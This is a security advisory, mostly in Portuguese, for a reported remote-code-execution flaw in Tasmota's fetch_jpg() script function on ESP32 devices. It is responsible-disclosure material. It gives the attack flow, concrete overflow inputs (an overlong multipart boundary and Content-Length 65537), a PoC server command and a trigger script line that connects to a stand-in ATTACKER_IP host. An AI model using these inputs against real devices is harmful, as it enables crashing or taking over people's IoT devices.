
CVE-2026-38422 — Remote Code Execution via Combined Buffer Overflows in Tasmota fetch_jpg() (Tasmota <= 15.3.0.3)
CVE: CVE-2026-38422
Severidade: Crítica (CVSS 9.8)
Produto: Arendst Tasmota
Versão Afetada: <= 15.3.0.3
Arquivo: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
Função: fetch_jpg()
Autor: Saidakbarxon Maxsudxonov
Divulgação: Responsável — reportado ao Tasmota antes da publicação
A função fetch_jpg() no driver de script do Tasmota (xdrv_10_scripter.ino) contém duas vulnerabilidades de corrupção de memória que se combinam, permitindo execução remota de código em dispositivos baseados em ESP32 rodando Tasmota <= 15.3.0.3:
strcpy() em um buffer fixo boundary[] de 40 bytes — corrompe memória heap adjacente, incluindo ponteiros de vtable do WiFiClient/HTTPClient (veja também CVE-2026-38426)uint16_t no Content-Length — aloca um buffer subdimensionado causando corrupção do estado do fluxo (veja também CVE-2026-38427)Usadas juntas em uma única sessão de ataque, essas duas primitivas maximizam a corrupção da heap e aumentam significativamente a probabilidade de alcançar execução arbitrária de código.
Servidor MJPEG Atacante
│
│ Fase 1: Resposta HTTP 200 com string boundary longa
│ Content-Type: multipart/x-mixed-replace; boundary=AAAA...AAAA (50+ caracteres)
│ → strcpy(boundary[40], 50_caracteres) → ESTOURO
│ → Ponteiro vtable do WiFiClient parcialmente sobrescrito
▼
Heap do ESP32 Corrompida
│
│ Fase 2: Quadro MJPEG com Content-Length > 65535
│ Content-Length: 65537
│ → uint16_t size = 1 (estouro de inteiro)
│ → malloc(1), readBytes(buff, 1)
│ → 65536 bytes restam no fluxo → corrupção de heap/fluxo
▼
Dupla Corrupção → RCE / DoS Garantido
# Combined attack — phase 1 + phase 2
python3 CVE-2026-38422_poc.py --port 8887 --mode dos
O servidor PoC:
fetchjp())Content-Length: 65537 (estouro de inteiro)Veja CVE-2026-38422_poc.py para a implementação completa.
>D
>B
fetchjp(ATTACKER_IP:8887/stream,0,0,1)
>1
=fetchjp(2,0,0,1)
O dispositivo deve estar executando um script do Tasmota usando fetchjp(). O atacante controla o servidor ao qual o dispositivo se conecta (ou realiza MITM em uma conexão existente).
Qualquer dispositivo Tasmota baseado em ESP32 rodando versão <= 15.3.0.3 com suporte a script habilitado e um script usando fetchjp() para conectar a um servidor MJPEG externo.